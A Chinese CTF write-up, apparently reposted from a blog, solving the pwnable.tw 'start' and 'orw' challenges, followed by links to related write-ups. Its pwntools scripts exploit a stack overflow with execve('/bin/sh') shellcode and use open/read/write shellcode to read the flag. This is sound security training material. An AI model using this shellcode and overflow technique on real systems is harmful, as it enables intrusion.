pwnable.tw startorw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz
1.start
比较简单的一个栈溢出,给出一个linux 0x80系统调用的参考网址,就决定是他了
参考之可以发现al=0x3执行sys_read时长度是0x3c*size_sz,栈的长度是0x14,明显的栈溢出。由于没有开启NX,所以直接在栈上布置shellcode即可。
需要注意的是:
虽然程序没有开启PIE,但是利用的话是需要绕过ASLR的;原因是ASLR只是不影响代码段和数据段的基址随机化,而我们布置的shellcode是在栈上,堆段和栈段是受系统ASLR影响的
脚本执行后shell没有回显可能是shellcode的问题,最好是自己写一个
给出脚本
from pwn import *context.log_level='DEBUG'r=remote('chall.pwnable.tw',10000)r.recvuntil("Let's start the CTF:") payload='a'*20+p32(0x08048087) r.send(payload) esp=u32(r.recv(4)) success(hex(esp))#r.recvuntil("Let's start the CTF:\n") shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload='a'*20+p32(esp+20)+shellcoder.sendline(payload)r.interactive()
2.orw
编写shellcode即可,参考上面给出的linux系统调用参考网址
from pwn import * context(log_level = 'debug', arch = 'i386', os = 'linux') p=remote('chall.pwnable.tw',10001)p.recvuntil(':') shellcode="" shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;') #open(file,0,0) shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;') #read(3,file,0x30) shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;') #write(1,file,0x30) p.sendline(shellcode)print p.recv()
转载于:https://www.cnblogs.com/snip3r/p/10314687.html
pwnable.tw startorw相关推荐
- Pwnable.tw之BookWriter
Pwnable.tw之BookWriter 知识点 FSOP是FILE Stream Oriented Programming的缩写, 进程内所有的_IO_FILE结构会使用_chain域相互连接成一 ...
- pwnable.tw unexploitable 分析
这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...
- 【pwnable.tw】 death_note
题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...
- pwn with glibc heap(堆利用手册)
前言 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明 均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 本节只是简 ...
- linux 获取 基地址,linux - 每个函数加载的glibc基地址不同。 - SO中文参考 - www.soinside.com...
我试图计算一个二进制文件的库的基地址.我有printf,putes ecc的地址,然后我减去它的偏移量,得到库的基地址.我对printf,putes和signal这样做,但每次我得到的基地址都不一样. ...
- PWN-PRACTICE-BUUCTF-18
PWN-PRACTICE-BUUCTF-18 ciscn_2019_final_3 ciscn_2019_s_9 jarvisoj_level5 pwnable_hacknote ciscn_2019 ...
- 64位c语言调用32位glibc,glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行...
简介 最近学习了一下_IO_FILE的利用,刚好在pwnable.tw上碰到一道相关的题目.拿来做了一下,遇到了一些困难,不过顺利解决了,顺便读了一波相关源码,对_IO_FILE有了更深的理解. 文章 ...
- shellcode执行盒_简单shellcode学习
引言 之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一把梭的题目,简单学习一下shellcode的编 ...
- 计算机、网络安全、CTF资源总结-The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路)
The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路) github项目,会不断更新,求个star! https://github.com/tangzichengcc/The ...
最新文章
- 一个简单HTML鼠标事件问题的衍化历程
- webstorm前端调用后端接口_一篇前端同学对后端接口的吐槽
- 前端学习(2043)vue之电商管理系统电商系统之优化web.config.js的配置文件
- 二维数组(声明以及遍历)
- 最新!2020世界一流大学学术排名出炉!
- 全民超神服务器维护,全民超神更新维护公告 更新内容详细一览
- Julia: PkgMirrors,提升库下载速度
- Matlab查找图像块在原图中的位置
- u-boot新结构浏览
- OpenCV实战2——进行颜色检测(HSV颜色空间)和分割的隐形斗篷
- 教资报名网站显示无法访问此页面
- 粗糙集约简 程序 matlab,粗糙集属性约简matlab程序
- 7-18 二分法求多项式单根
- TP-LINK路由器与pfSense建立IPsec连接
- 海大C程序期末上机题库20道
- Window10中Dev-C++ 使用EasyX绘图库编程入门
- LayIM 3.9.1与ASP.NET SignalR实现Web聊天室快速入门(四)之ASP.NET SignalR核心功能介绍
- 伊莱科多功能数显式仪器仪表EM33D袖珍高精度全自动表笔电工数字万能表
- SuperMap 三维性能提问单
- android界面最小化实现,Android-Android 怎么实现应用程序最小化到后台运行,不被系统kill...
热门文章
- stats | 介绍三个与数学规划函数
- python变量类型声明_python变量声明及简单数据类型
- mysql 可逆编码,简单明白彻底解决 MySQL 中文编码问题
- 初级Web前端工程师是什么?初级Web前端工程师的技术体系有哪些?
- python中findroot_Python源码问题算负数平方根无结果输出何解,python负数,def findRoot...
- python url解析path_Django(CBV解析、模板层)
- 网站二次开发如何防止别人打包源码_企业网站制作前需注意的几个事项
- 利用 Excel 在 Altium Designer 中快速新建元器件库
- STM8学习笔记---利用PWM功能输出SPWM波
- STM8学习笔记---定时器 TIM2功能实现